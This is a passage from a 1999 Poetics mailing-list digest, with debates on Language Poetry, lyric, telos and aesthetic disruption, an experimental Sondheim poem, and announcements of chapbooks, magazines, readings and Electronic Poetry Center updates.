-- Please elaborate on this binary. Despite what you might think, I agree with you that cartloads of writing has been produced out of a very vague, un-aesthetic (I mean non-self critical in terms of whether the art at hand is really "working") sense of praxis, and that, in bulk, it is likely to turn off anyone to what we call "postmodern" or even contemporary poetry. On the other hand, when I approach this work and my teeth start to gnash, I have that little line of Bob Dylan's floating around in the back of my head -- and if I could sing it the way he does right here I would -- "Don't criticize what you don't understand." And so I try to understand, and gnash later. This language of "imitators" is very Poundian, but so again I ask you to look at these ideas -- innovation, imitation, originality, etc. -- divorced from your obvious aesthetic biases and see if they really work, or are even necessary. "Imitation" has a certain "radical" (a word I rarely use, actually) potential which, well, I am investigating.

"It is in an interesting time to consider whether or not a writer should possess a strong ego and whether or not the language school's post-humanism was every anything but the proliferation of the ego by new means, in new modes."

-- This is any easy one to answer: yes. Of course, but from there, let's see what these particular egos have managed to produce, what are the contours of the work, how to they operate socially, when and where has the ego been sacrificed for something that could be called (for lack of a better word) "constructivist," how is the ego played off of this construction, is it really as closed and negating an ego as we at first feel, is it charmless and sterile, etc.

I think that your essay, and this particular post, are part of a trend that I sense very strongly write now in poets who are, say, generally within my age range, some older some younger (so that would be mid-twenties to mid-thirties) who are prone to making very over-arching, "emotional" (most more often hysterical) statements about how the Language Poets have completely subtracted a certain variable -- "emotion" -- from the poetic equation in America. I would suggest two quick things to read, Max Weber's Protestant Ethic and the Spirit of Capitalism for an idea of where "our" sense of emotion has gone -- it's gone quite far, but far away, I think, such that now we don't really know how rich "emotion" can be, or how complicated -- but also Charles' exchange with Louis Simpson in one of those books that Lazar published a while back, an exchange that reappears, I think, in the Politics of Poetic Form, in which his ideas on "emotion" are most misunderstood and most strongly

stated. I certainly don't think it's wrong to take CB up on his ideas -- that's what they're there for, in fact, and few welcome strong criticism of his ideas like he does -- but the "ambiguous, not too clear" criticism the likes of which appear in your essay are none to0 productive.

Well, I could go on, but, luckily perhaps, am out of time.

Sincerely,
Brian

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185. **Lowther,John**
Re: Lyric (s e n t i m e n t a l / *which* lyric ?)
Tue 18 May 1999

{ p o e t i x }

Annie Finch writes; "I have located a crucial distinction between what i call the "romantic" lyric (the I/thou, gaze/gazer, subject/object dichotomy where all revolves around the central eye) and what I call the "sentimental" lyric (multivoiced, multiviewpointed, objectifying the speaker as much as the outside world)."

and i think the distinction is quite probably useful
but i wonder at the choice of the term

s e n t i m e n t a l

my wonder tending to channel's like ;
"who wd want to get saddled with that term?"

and Rachel Blau DuPlessis wrote; "What I am trying to say is 1) we all have a relation to lyric even if we reject part of it or all of it (I made this point at Barnard; rejection is a relationship) 2) lyric is multiple and flexed--what lyric, when, how, for whom are we talking about. Precisions will let us reject any knee-jerk responses (pro or con) to that word. 3) when people use lyric modes what part of lyric are they using. I consider that I use the lyric, but want to surround it with other discourses and subjectivities so that it loses its "master-narrative" quality and becomes one element among many others 4) what is the social-psychological surround of lyric? Do we want to agree (with Allen Grossman, for example) that it encodes an oedipal plot (see gender-laden critique of this by RBD in "Manifests" in Diacritics). The one thing that Barnard did, especially that keynote panel, was to remind us to reject binaries."

some thoughts to the numbers...

1) i'd agree with this but i wonder how much we can make of a 'relation of rejection' / aren't there folks out there who've never been drawn to lyric but who also haven't made a rejection of same central to what they do as poets ?

2) yes

3) has anyone.. critic poet etc.. made a grand taxonomy of lyric impulses ? - i'm not expecting any to've nailed the whole thing down of course i just wondered if there were such things out there and if anyone had found them useful in considering what they might and might not want to do with something called a 'lyric tradition'

4) the socio-psychological surround - i imagine that some wd find this of intense interest - but i wdn't want to be stuck with the Allen Grossman reading that is mentioned here - how might an inquiry into the socio-psycho surround be generative for writers i wonder ?

.out

)L

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186. Mark W Scroggins
New Chapbook Series
Tue 18 May 1999

Bill Burmeister and Mark Scroggins announce the publication of the first three chapbooks in the DIAESRESIS CHAPBOOK SERIES:

Diaeresis Chapbook Number 1:

HANK LAZER, As It Is, 41pp.

"Honesty is the best policy--in poetry as in all else. These apt, reductive verses keep a locus of faith with skill and moving commitment. Keep 'em coming!" --Robert Creeley on _As It Is_

Diaeresis Chapbook Number 2:

E. A. MILLER, The Underbrush of Abundance, 30pp.

Miller is the author of _Eight Poems_ (1991) and has work in _Chain_, _American Letters & Commentary_, etc. _The Underbrush of Abundance_ is a cosmopolitan, terrorist, lyrically repetitive poem in twenty-six sections.

Diaeresis Chapbook Number 3:

C. S. GISCOMBE, Two Sections from Practical Geography, 31pp.

"C. S. Giscombe has opened up new territory where we've least expected it, seeking the roots of identity in a poetics that is literally projective: across

cultures, centuries, races." --Ron Silliman on Giscombe's _Giscome Road_ (1998)

Diaeresis Chapbooks are $4 apiece postpaid; all three chapbooks of the first series can be ordered for $10. Please make checks payable to Mark Scroggins, 401 NE 45th St., Boca Raton, FL 33431.

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187. Lowther,John
for Jeffrey Jullich / poetix
Tue 18 May 1999

{ p o e t i x }

Jeffrey Jullich wrote: why do we ~need~ to keep returning to a practice of "literary value," criteria and standards? Clearly, work has become widespread in the past quarter century, if not earlier, which puts into question ("problematizes") or renders useless earlier criteria of judgment: "good"/"better"/"best", "like"/"dislike", "masterpiece"/"genius". Post-modernism has set into play a body of works where not only is it tenuous how to value one over another, but how to distinguish within a poem itself what portions might "succeed" and which "fail" according to any casual standards of criticism. (Hence, the shift in editorial practices, which are now as a rule a flat acceptance/rejection-- since how else to arbitrate between one line and the next?) And yet, the question ("does experimental writing lack formal criteria ?") keeps coming up, as though there were too strong a nostalgic attachment to a criterion-view of art for even the initiated to part with such (Solomonic) judgments.

there is much here to ponder
and much that my original posting
so full of questions cdn't be seen to lead to
until Jeffrey intervened in this way

so too my response is now twice
removed from my original posting
& wants (or i want for it)
to break free of that original context

it seems that one of the contemporary scene's
biggest dance steps in responding to any ideas
is to search a bit
and find something in the way of a binary
(it's always there, no?)
and then to assert that such things aren't useful

or worthwhile
or whatever
whether thru reference to derrida
or someone else

and i think that this is useful at times
to remind us that ~life is not made up
of binary oppositions~ or something
equally quotable

and i confess i've used this tactic myself
just as i've used binary terms

but i think that when one takes the route
of critiquing the binary
that some things can get lost in the shuffle

by which i mean to say that i don't think
as perhaps Jeffrey does (?)
(and i know other have said)
that dyads (binaries if you prefer)
are useless

instead i wd suggest that a better critique
of dyadic thinking wd be one which didn't
attempt to dissolve the opposed sides
by showing their mutual interdependence
but one which illustrated that
monadic dyadic and triadic conceptions
all have utility within specific spheres

such that if i or anyone says
wordsworth is a bad poet or
pulp fiction is a bad movie or
guernica is a bad painting
  that the 1st thing we wd do well to realize
is that none of these statements
is really proposing a grand scale of values
in which any of these things
might be seen of as exemplifying
a category of 'badness'

instead we are dealing with one
subject position relative to these things
conceived dyadically rather than triadically
wherein the 'object' in question

wd of necessity be seen as part of a continua
and as enmeshed with its context
such that one might say
"well, within the context
 of 80s screwball comedies
 Police Academy 2
 really isn't as bad as people say"

so while a triadic approach to things
will by most people's standard's
produce a more nuanced
and certainly a more relational
reading of a text or piece of art
this in no way refutes the reality
of dyadic conceptions like good/bad

as such asking whether
experimental poetry exhibits formal criteria
isn't of necessity a nostalgic move covertly
asking for absolute criteria
and much more of an open question
to the people of this forum

personally i assume that there are
amongst this list those who have
relatively stable formal criteria and those
for who such things are in flux
and those for whom such ideas are utterly foreign
yet i cannot imagine that any of these
attitudes wd preclude their work
from being seen as experimental
nor wd it be so dubbed b/c of any of these things

Jeffrey said lots of other stuff in his post
but i've gone one too long already

)L

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188. **Poetry Project**
World #55 Now Out!
Tue 18 May 1999

Newly fresh & born at the Poetry Project

for the super price of $7 ($5 at readings), or $25 for a subscription to four issues

The World #55

with work by
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Ece Ayhan
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Bill Luoma
Jaime Manrique
Mark Pawlak
Mirkka Rekola
Jerome Sala
Eleni Sikelianos
Carmen Valle
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Maggie Dubris & Elinor Nauen (secrets behind KOFF! and nude calendars!)
Paul Violi (secrets to the universe!)

and artwork by
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Send checks to:
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131 E. 10th St.
NY, NY 10003

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189. Alan Sondheim

kernel/shell

Tue 18 May 1999

Bonnie Parker says to Jennifer

I have a gun and a name.
I will never live in shame.
I ride far and wide for my desires.
The girls come fast, their lives are fires.
I know my fame goes far and wide.
The boys don't take my fame in stride.
I'm naked now, but for the gun.
To make you see the Holy One.
If you so much as turn from me.
My gun will speak Eternity.
You dream of me, blame it on me.
Your sex is me, my gun you'll see.
I'm only here to beg, obey.
The gun makes sure I'm here to stay.
I'm your Girl now and in the future.
You have a lovely tender creature.
Without the gun I'm everyone.
Your flesh and mine, we're on the run.
There's earth and sky, nowhere to hide.
My gun's my friend, my gun's my bride.
When I was young I thought of guns.
I lived and died, 'neath angry suns.
It's healthy, true, the way to be.
All problems solved, I'm young and free.
The gun is me, the gun is you.
Desires flow like bullets too.
We're here and now, we're only One.
I yearn and cry, this is my gun.

I have a gun and a Name.
I will never die in shame.

Shell

Is it because seize your body in the middle of the night twist it beyond belief that you came naked and broken to me? Why do you say you might want to rid?

What makes you yearn and cry that you want the dreams to go away? Earlier you said seize your body in the middle of the night twist it beyond belief? What happened when your skin burns your body is charred? Maybe and now I adjust my panties - your desires have to do with some girls or with this. Is it because of your life that you say girls or boys nothing? You mentioned that you would like to rid? Is it because of the boys you hang around with that you are going through all this? Why not? Does it bother you that I ask that? Why not? Please please don't ever leave me. What makes you believe shut up? Are you sure that seize your body in the middle of the night twist it beyond belief? How do you reconcile your nakedness? Are you afraid of that? Is it because of any fantasies you have of me that you say you will violate yourself? Earlier you said you would like to rid? Perhaps and now I exhibit my frocks - this has some girl to do with any fantasies I have of you that I say I will violate myself? Do you really think some girl has nothing to do with anything? You mentioned that seize your body in the middle of the night twist it beyond belief? Oh oh I do see so... Well, what makes you think this is so? Possibly and guess - I show you my flesh - your sex life are related to this. This is a healthy and so true way of thinking. Can you elaborate on that and look at me? Are you annoyed that you, too, may die someday? Is it because of perversions you have that you say your skin is seared off? Oh oh yes, ahhh... Why do you say this is so? I am in love with your obsession with this topic!

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190. derek beaulieu / house press

new from housepress: lawrence ferlinghetti at 80.

Tue 18 May 1999

> *housepress is pleased to announce the release of:*
>
> *"the new king of poetry: lawrence ferlinghetti at 80"*
> *an interview with lawrence ferlinghetti by ron whitehead.*
> *with photographs by Chris Felver.*
>
> *In "the new king of poetry: lawrence ferlinghetti at 80" Ferlinghetti and Whitehead discuss "A Far Rockaway of the Heart", City Lights Books, the "beat generation" and Ferlinghetti's poetry and view at 80 years old.*
>
> *limited edition handsown chapbook - 100% cotton watermarked pages, with onionskin partial covers, handsewn saddle-stitched binding. $7.00 ea.*
> *for more information , or to order, contact:*

> *derek beaulieu at*
> [redacted]
> *or ph.* [redacted]

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191. Loss Pequeño Glazier

http://epc.buffalo.edu

Tue 18 May 1999

Following are a few of the resources added to the Electronic Poetry Center in recent months. To access these items, visit the EPC at http://epc.buffalo.edu and select "New".

---

from Eye to Eye by Robert Creeley and Archie Rand
William Burroughs Author Page
Ethnopoetics at the Millennium (Rothenberg)
Three Paris Elegies (Rothenberg)
Deluxe Rubber Chicken #3
DOC(K)S (connect)
Lyn Hejinian Author Page
Ted Berrigan Author Page
Arshile (connect)
Spuyten Duyvil (connect)
A Secret Location by Clay & Phillips (connect)
How2 (connect)
99 Poets/1999 (connect)
Against National Poetry Month as Such by Bernstein (connect)
Aviary Corridor (Alexander)
William Bronk (1918-1999)
Mullen Interview (Revised)
Day Book of a Virtual Poet (Creeley)
Deluxe Rubber Chicken #2
Bernstein Seminary Coop Interview
New Directions Books (connect)
So There (connect)
Fence (connect)

Electronic Poetry Center (http://epc.buffalo.edu)

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192. Alan Sondheim
Performance Enunciation
Wed 19 May 1999

Foofwa d'Imobillite and Alan Sondheim will be on the Pentacle Studio Theatre, 104 Franklin Street, Between Broadway and Church Street in Tribeca, New York City, doing one of an evening of other works all together called Spontaneious Combusion, Short Dances of Fiery Intui- tion and Momentary Structure, Friday May 21 and Saturday May 22 at 8:00 in the evenings; information and reservation at [redacted]. The part of Alan Sondheim may be played by audio and video. Many other performers: Andrea Mills, Mariss Uudkin, Joanna Rotkin and Rachael Wilde, Katherine Marx and Scott Waldron, Anna Paola Civardi and Muriel Vergnaud.

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193. Katie Degentesh
9X9 LIVE ON KUSF
Wed 19 May 1999

Several members of 9x9 Industries will read their poetry and talk with Amy Miller on KUSF San Francisco this coming Thursday, May 20 at approximately 10:45 pm. If you're a Bay Area resident, turn your radio to 90.3 FM for 45 minutes of live poetry, some of it read directly from 9x9's new magazine, _6,500_. Poets featured will include Katie Degentesh, Abie Hadjitarkhani, Eugene Ostashevsky, and Jan Richman.

****

9X9 Industries is a San Francisco consortium of writers combining Apollonian precision of language with Dionysian performance skills. 9X9 (http://www.paraffin.org/) runs a reading series at Adobe Books and organizes huge underground reading/events, like FILLER (2.98, with 3bluelights), CHURCH (6.98, with Vainglorious) and CUPIDITY (2.99, with Vainglorious and the Ariel String Quartet).

READERS:

Katie Degentesh has an MA in Creative Writing from the University of California, Davis. Her poems have appeared in the Washington Post and in numerous other American periodicals.

Abie Hadjitarkhani is a poet, teacher, graduate student, and catalyst. He enjoys writing about writing as well as just plain writing.

Eugene Ostashevsky has published his poems in chapbooks designed by Eugene Timerman (_Noughtbooks 1 & 2_) and Darin Klein (_Fish Sticks_, _Daphne

Azak_). He also translates and writes about contemporary Russian poetry. According to Playboy Online, "his whines emanate from the root of all suffering."

Jan Richman is the author of _Because the Brain Can Be Talked Into Anything_, which won the Walt Whitman Award from the Academy of American Poets in 1995. She is currently working on a book about rollercoasters and Tourette's Syndrome.

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194. Loss Pequeño Glazier

EPC: New URL

Wed 19 May 1999

Announcing the availability of a new, simpler URL for the EPC. You may now visit the EPC at our new address:
http://epc.buffalo.edu
(All links to any old addresses in the EPC will continue to work.)

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195. Christopher M Devenney

Philadelphia Apt. Avail.

Wed 19 May 1999

I apologize in advance if this is an inappropriate use of band-width on the list.

I am moving to Philadelphia July 1 and I've found a wonderful Center City apt. within walking distance to U.Penn. I need to find a housemate, however, in order to get this place. The share of the rent is $250 each, plus utilities. It's large, has lots of light, on-street parking, hardwoord floors, and whoever takes this with me gets two rooms (a bedroom and an office/workspace) plus their own bathroom (it's a 2 br, 2 ba, 2 floor apt. in a house).

Anyone living in Philly, or like me, going to Philly, who is interested should e-mail me privately so we can talk further.

Thanks,
Chris Devenney

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196. **Lowther,John**

Telic or Not pt.II (for 2 voices)

Wed 19 May 1999

> *{ p o e t i x }*
>
> *_____[two voices continue]_____*
>
> *did you see what Linda Russo had to say about this telos business?*
>
> *yes, shall i read it?*
>
> *sure*
>
> *"Or maybe the 'telic goal' of poetry isn't telic at all, it's anti-telic: to make sure there's no 'no poetry' -- the way that the 'telic goal' of medicine is to stave off death?"*
>
> *well it sounds good but i wonder if simply switching the polarity of our terms is enough to make it an 'anti-telos' - look at her wording; "to make sure there's no 'no poetry'" - can't we cancel the double no and have the following "it's anti-telic: to make sure there's poetry" ? i have trouble seeing this as anti-telic as 'to make sure there is poetry' just as "to make sure there is no 'no poetry'" both sound like goals however general*
>
> *you'd be happy to make that into a little graph wdn't you?*
>
> *yr point?*
>
> *just that while yr response to that quote is all very well and good if 'telic' means what you think it means - but perhaps it means otherwise?*
>
> *probably does*
>
> *o.k. so what might it mean for Linda Russo? she goes on to write;*
>
> *"...that's it's not 'what poetry is' that's at stake, but what the world (or the social and cultural complex) without poetry isn't."*
>
> *and i think what she's getting at - or for the sake of argument here and now - i think what ~i'm getting at~ is that - if - there is an 'end' toward which poetry is directed it is as an intervention in a fucked-up world - but that concerning ourselves with an ultimate end isn't of much use - it's the limited ends - the 'this moment' needs that poetry addresses itself to*

hmm...

while yr formulating how about we look at the dictionary?

Main Entry: te·los
Pronunciation: 'te-"läs, 'tE-
Function: noun
Etymology: Greek; probably akin to Greek tellein to accomplish, tlEnai to bear -- more at Tolerate
Date: 1904
: an ultimate end

Main Entry: te·lic
Pronunciation: 'te-lik, 'tE-
Function: adjective
Etymology: Greek telikos, from telos end -- more at TELOS <dictionary?book=Dictionary&va=telos>
Date: 1889
: tending toward an end
- te·li·cal·ly /-li-k(&-)lE/ adverb

that's odd

what? that you've been pronouncing it wrong all this time?

no - that 'telos' is an ultimate end and 'telic' is NOT - 'having an ultimate end' - but - "tending toward an end"

so i guess then what i was just saying before the dictionary aside cd be said like this in light of precision definitions; "All poetry is Telic yet Poetry has no Telos."

i'm fine with that

what you don't want to keep going ?

i think i'm tending toward other ends just now

what about the other posts from Randy Prunty and Jacques Debrot and Standard Schaefer with the word "telic" in the subject line

well i guess that i think our last post was pulled in a certain direction by those postings and that for me it wasn't quite what we were inquiring about anymore and thus best considered an other topic

ok

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197. **Jacques Debrot**

Re: Response to Standard Schaefer

Wed 19 May 1999

Underlying his recent remarks to the List -- but more explicitly in his _RHIZOME_ article -- Standard makes a very original & interesting gesture towards a sociological analysis of poetry along the lines of Pierre Bourdieu's critique of the "habitas" -- that is to say, the sense of one's place which emerges through the processes of differentiation in social space that maintain and create prestige while confirming various heirarchies of belief, value, and so on. This is not at all developed, as Standard acknowledges in the article, & it is also at odds with those remarks of his that, as Brian Kim Stefans points out, can be interpreted in ways that show that Standard is himself implicated, to a degree that he may not be fully conscious of, in a set of dispositions, or practices, that actually contest *for* rather than *against* the priviledges he wants to expose. Standard's attitude toward Language Poetry, far from attempting a degree of objectivity or dispassion is clearly *interested*, and reveals the Oedipal anxieties that are a very familiar pattern in inter-generational conflicts for predominance -- but after all he is only as unfair to the Language Poets as they were to their precursors. In any case, Standard's recent and highly favorable review of Stefan's _FREE SPACE COMIX_ in _LINGO_ seems, in light of his _RHIZOME_ article, somewhat problematic, -- as well as the appearance there of numerous Language Poets featured in all three issues of the magazine.

Stefans' remarks are in fact quite perceptive in many other ways, particularly re Bernstein. However, to the extent that Language Poetry made the attempt to "talk back to power" a central -- the central? -- aspect of their aesthetic, it certainly seems more than fair to point out the compromises, blind spots, and hypocrisies in their negotations with institutional priviledge. It's not quite good enough for them simply to agonize over the extent to which they now participate in reproducing relations of prestige, etc. when such questions, owing to the premises from which Language Poetry develped, are *uniquely relevant* to the work itself -- at least as the Language Poets themselves explicate their work (though here I would agree with Charles Altieri's comments in the Hank Lazer book that Stefans recommends Standard read -- that Language Poetry is a lot more interesting than its own self-presentation). Nor has the relative and qualified success of Language Poetry been something

which, as Stefans seems to argue, simply happened. The various stories I've heard about the background of _In the American Tree_ would surprise a lot of people I think. **All of which is not to say of course that it is not a good thing that some of the Language Poets have cleared a space for themselves in the academy, or that their work should not attract as wide a readership, & as much critical attention as possible.** But it *is* to begin to understand why many aspects of Language Poetry may not seem entirely sufficient to the kinds of poets Standard describes as unaligned.

Stefans writes: "I think that [Standard's essay is] part of a trend that I sense very strongly write now in poets who are, say, generally within my age range, some older some younger (so that would be mid-twenties to mid-thirties) who are prone to making very over-arching, "emotional" (most more often hysterical) statements about how the Language Poets have completely subtracted a certain variable -- "emotion" -- from the poetic equation in America. . . . I would suggest [that Standard read] Charles' exchange with Louis Simpson in . . . the Politics of Poetic Form, in which his ideas on "emotion" are most misunderstood and most strongly stated."

Yes, Bernstein is brilliant as usual (& again the book itself is a fascinating "failure" -- Vendler, Altieri, Perloff and the others talk at each other, more than to each other -- though God only knows what "success" could possibly mean in these circumstances). And yes, "emotion" is quite a complex thing & it is certainly not absent from Language Poetry. However, it is easy to understand the "trend" Stefans speaks about in non-hysterical terms. It seems obvious for example that, as a result of their critique of the mediated & conventional character of passional language, the Language Poets made a wide range of aesthetic experience unavailable to experimental writing. It is interesting to see how, for instance, Bruce Andrews begins his Linebreak interview by attempting to account for/explain away his early love poems. Among emerging poets, however-- at least in my limited experience -- the attitude toward Language Poetry's disabling of a wide range of traditional aesthetic resources is not at all the same as Louis Simpson's. This is too large an issue to go into now & my post is already much too long. Suffice it to say that the anatgonism to Language Poetry in an essay like Standard's has less to do with fundamental ideological disagreements than about the emphases it chooses to make & the contradictions it chooses to ignore -- & there are obvious contradictions in the aesthetics of Language poetry as well which are themselves strategically repressed. The contextual bias of Language Writing -- its overwhelming emphasis on the role of subjects in the situation of communication seems a very difficult topic for further aesthetic development (an observation which, I realize, needs to be qualified to a much greater extent than I have time to do here). To the Language Poets this must seem like giving up ground already fought over

and won, but new negotiations & reconsiderations of, among other things, the place of the emotions in poetry, & the scope & variety of their presentation seem to me especially timely now.

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198. Annie Finch
sentimental
Wed 19 May 1999

Who'd want to be saddled with that term?? Well.....I would. It's a gesture of self-defense--an aikido move. See my essay "Confessions of a Postmodern Poetess" forthcoming in a book of essays by women poets from Graywolf. Annie

> *Date: Tue, 18 May 1999 11:37:44 -0400*
> *From: "Lowther,John" <[redacted]>*
> *Subject: Re: Lyric (s e n t i m e n t a l / *which* lyric ?)*
>
> *{ p o e t i x }*
>
> *Annie Finch writes; "I have located a crucial distinction between what i call the "romantic" lyric (the I/thou, gaze/gazer, subject/object dichotomy where all revolves around the central eye) and what I call the "sentimental" lyric (multivoiced, multiviewpointed, objectifying the speaker as much as the outside world)."*
>
> *and i think the distinction is quite probably useful*
> *but i wonder at the choice of the term*
>
> *s e n t i m e n t a l*
>
> *my wonder tending to channel's like ;*
> *"who wd want to get saddled with that term?"*

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English/Creative Writing
Miami University

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199. **Billy Little**

responsibility

Wed 19 May 1999

sometimes i wonder and sometime i understand that i'm a delusional poet, a poet who imagines what is said(soberly, seriously, wierdly or funnily) is important and that sooner or later if you're a practictioner of poetry you discover that poetry makes demands of its own, hello there poet you may think you're looking in the mirror but knock knock us ghosts ooooo oooooo are looking back at you through the doorway which you think is the mirror we may be dead but we're part of the audience you're writing for and your audience expects hell requires more than the self agrandizement you might have imagined when you first stuck quill to parchment. One of those requirements, that Cavalcanti and Pound and Sor Juana and Borges and Levertov and Duncan and HD and Stein and Akmatova and Cvetaeva and Mayakovsky and Cummings and Catullus and Ovid and Olson and Creeley and Sorrentino and Dorothy Trujillo Lusk, and Kevin Davies and Tom Raworth and in my audience have always required of me is to remind the living practitioners and appreciators alike that no matter the constant reiteration of the platitude that poetry is a solitary art it is no such thing. You can't write poetry without reading it and sooner or later if you read it you're going to find there are poems out there (beside your own)that delight you, that outrage you, that put your own work to shame, and i've always taken it as my duty to shine a little light on this work, that's why when i perform i like to begin reading work by others that's particularly exciting to me at the time. does anyone else feel this way? you'd be hard pressed to tell it if you were looking for notice of the launch of The Recovery of the Public World. Sometimes i think it's a conspiracy against Robin Blaser, whose magnum opus The Holy Forest, one of the truly great books of 20th century literature, and surely one of the most important books of American Poetry published in the 90's got zero notice in the New York Times Book Review. Maybe The Recovery of the Public World, Essays on Poetics in Honour of Robin Blaser edited by Charles Watts and Edward Byrne and published handsomely by Talon Books more than makes up for that lack. The launch at the Western Front in Vancouver was another standing room only affair, 150 people packed into the Grand Luxe Ballroom on the second floor. Ted Byrne, Karl Ziegler, Peter Quartermain, Miriam Nichols, Sharon Thesen, George Bowering and Robin all spoke, Robin read from the libretto he's currently working on for The Last Supper and opera by Birdwhistle? forgive me somebody help me here i'm not up on my British Composers that while premiere next year. Most spoke in fond remembrance of Charles who died last year, sad loss, but as i read it i think of him up on Burnaby Mountain sometimes until near midnight kerning every page of this magnificent production. I'm

going to try to give it the attention it deserves over the next month or so speaking of specific essays, it's a big task, it's a big poetry and many important writers including Phyllis Webb, Steve McCaffery, Lisa Robertson, Daphne Marlatt, George Stanley, Michael Ondaatje, Anne Waldman, Leslie Scalapino, Peter Gizzi, Jed Rasula, Susan Howe, Rachel Blau Duplessis, Kevin Killian, Nathaniel Tarn, Steve Dickison, Norma Cole, Bruce Boone, Peter Quartermain and more have essays in this 464 page collection. But here i want to remind you that poets are composed of equal parts of bravery and folly, so i don't want you to wait to hear what i'm going to say, i want you to rush right in there and let us know what you think of this reflection of the devotion of both Charles and Robin. If you don't hear from me, it's because I'm going crazy trying to find the three months arrears in my telephone bill and internet provider bill. If you've got a job for me, my grandchildren are growing up, I'm ready to leave the wilderness, let me know

love,

billy

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zap.to/zonko

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200. Pritchett,Patrick
FW: Cole Swensen reading
Wed 19 May 1999

> *Cole Swensen and Bin Ramke will be reading from their recent books this Friday, May 21 at 7:00pm, Renaissance North, Mary Read Building, University of Denver Campus.*

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201. Lowther,John
Disruption, Parameters etc
Wed 19 May 1999

{ p o e t i x }

Randy Prunty quoting George Lakoff on Gins and Arakawa;
"The increasing violence and destruction
in the world - physical, ecological,

> economic, social, and emotional - are
> all a product of our present modes of
> thought. If the cruelty is to end, our
> concepts must change. Since concepts
> are physically encoded in the brain and
> grounded in the body, our brains and
> bodies must change. If art is to play a
> role for the good, it must disrupt our
> concepts, our normal ways of
> functioning - our brains and our bodies.
> Art as disruption is art as a moral force.
> Disruption is an aesthetic experience,
> and an aesthetic experience of this kind
> is inherently moral. Moreover,
> disruptive art on a large-enough scale
> will be sufficient to reverse our destiny,
> so that the violence and destruction
> can end."

and to this Jacques Debrot replies saying (among other things);

> "But one of the difficulties here,
> in respect of poetry, seems to me
> precisely one of "sufficiency of scale."
> Nor is disruption something
> diametrically opposed to violence &
> destruction"

next in the queue Mark Prejsnar intervenes suggesting that Jacques is overburdening the term "disruption" in the Lakoff piece - but upon reflection and a good third reading of what Jacques is saying i don't think he's overburdening the term - simply indicating that it might also have descriptive acuity relative to violence and thus that 'disruption' in an of itself is not anything we can value positively in every situation - of course Mark is also right in saying that in context the sort of disruption Lakoff discusses *is* meant to be a good thing - or to state it less dyadically the interventions via art that Arakawa and Gins enact are meant to shake up the fixity of our notions whether they be perceptual or conceptual

Mark and Jacques also both assume that the two voice post questioning whether poetry is telic or not was meant as a response to the rhizome piece - and while i know that the 1st question of poetry as 'telic' arose there it wasn't my intention that they be linked - the two voice piece, as Randy noted in his

post was of two minds as well more an attempt to see what two possible perspectives among countless ones i didn't think of might have to offer

but Jacques does link this to the essay and brings up a question that i find interesting and a little bit troubling as well

Debrot (with my parsings);

> "...the problem it seems to me
> is rather that, at a time when
> the history of art is *arguably*
> over, & the most extreme
> aesthetic violence --Artaud's say
> -- is merely a "style" that one
> cannot avoid "quoting"
> (...) can art really be said to
> have retained a capacity for
> disruption? (...) S. Schaefer
> problematizes the continuity
> between radical poetic theory
> and practice. This aspect of
> his argument seems persuasive,
> particularly in the context of
> Prunty's post, as no poem seems
> likely to come close to approaching
> the extremity of the aesthetic
> experience Lakoff describes."

? but is Lakoff describing a fait accompli or discussing the motivation for a work of art ? has everything really already been done ? how cd this be ? and if it was the case how cd we know ? what wd assuming such to be the case leave us with ? or rather, what use is there for an analysis that says ~the history of art is *arguably* over~ ? wd it remove all anxieties about one's place relative to tradition ? (what if you weren't anxious ? cd you hang onto history then ?)

i think Jacques cuts to the quick in saying that there is a problem with the "sufficiency of scale" and as such i think that Standard's question about whether the theory and practice match-up is not incoherent or meaningless by any means but i wonder exactly how many writers or more generally artists who have been motivated by political/social concerns *in any way* cd withstand a litmus wherein every goal they've espoused must be found to have been achieved thru their art

but Jacques continues with this; "But I think his concern with establishing parameters for aesthetic judgement have merit -- not as prescriptions, or "standards" -- but as a means of asking -- for framing the question -- "What is

the possibility of poetry today?" since it is not, I don't think, [a] sort of Antinomian practice..."

And Mark asks; "What parameters does Jacques agree we must adhere to??"

and i find that i'd like to hear some answer to this myself but i don't myself see how establishing parameters cd do anything other than limit "the possibility of poetry today" - and further i fear much more of this does something like what Randy was saying; it "put[s] too much pressure on those little ink spots on the paper."

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202. Christopher Reiner
Series/Mnemonic
Wed 19 May 1999

A wonderful debut by Trane DeVore (from Avec Books). Here's the promo. (More information, along with excerpts, will be on Avec web site by Friday.)

_____

New From Avec Books
Series/Mnemonic
poems
Trane DeVore

In a sequence of short poems rendered in refined yet sensual language, DeVore's close scrutiny encompasses both the corporeal and the temporal worlds. Like Proust's madeleine, objects and elements in nature ignite remembrance and desire. The poems in Series/ Mnemonic are deftly humorous--but also elegant observations about memory and the physical world.

‰ The accomplishment in Series/ Mnemonic is doing something plain with cool, careful observation. This work sits well. Thoughtfully composed, simply presented "it smolders in the round."

-Laura Moriarty

"Exactitudes of hand & mind & eye." This is the one who is particular & exemplary, measure & epitome, personal but never blinded by that. Trane DeVore's poetry of one's situations is purely beautiful, a lasting relief to such as it incisively indites. There haven't been many "first books" as fine & accomplished & meanwhile as promising.

-David Bromige

DeVore's poetry grapples with traditional matters-memory, desire, beauty-in a method which is distinct and contemporary. Moreover, in an age where irony has been the dominant figure, I find his post-ironic language refreshing, bold

and new. This work is playful, sensuous, spare, elegant, rigorous, and compelling.

-D.A. Powell

Trane DeVore was born in Rescue, California. His work has appeared in numerous publications-most recently in Prosodia, tight, and the late Exquisite Corpse-and he has worked extensively with various incarnations of the Lingua Quartet. He is currently at U.C. Berkeley doing graduate work in English.

Publication Date::
May, 1999
List Price $10; ISBN: 1-880713-17-9
website: http://www. litpress.com/avec/
Distributed by Small Press Distribution and Baker & Taylor

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203. Poetics List Administration
What does Mr. Pound believe? / Materer
Wed 19 May 1999

had to reformat this one; as a reminder to digest subscribers, please be sure not to duplicate the entire digest in your reply. Chris

-------- Original message (ID=5E23711D) (1151 lines) ----------

Date: Wed, 19 May 1999 12:48:49 -0600
From: Timothy Materer <[redacted]>
Subject: What does Mr. Pound believe?

> *What does Mr. Pound believe?*
>
> *I can't remember where this quote from T.S. Eliot on Pound occurs.*

Eliot asks this question at the end of his 1928 review of Pound's _Personae_. You can of course find the full reference in Gallup's bibliography.

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204. Poetics List Administration
Shark #2 / Clark
Wed 19 May 1999

this came to the administrative account. Chris

From: "Emilie Clark" <[redacted]>
Date: 5/19/99, 9:31 AM -0400

Announcing Shark #2: What is Context?

Poetics and Reviews by:

Bill Luoma, "Cowgirls Like the Salt Lick"

Steve Evans, on Spahr, Friedlander, Hocquard and Luoma

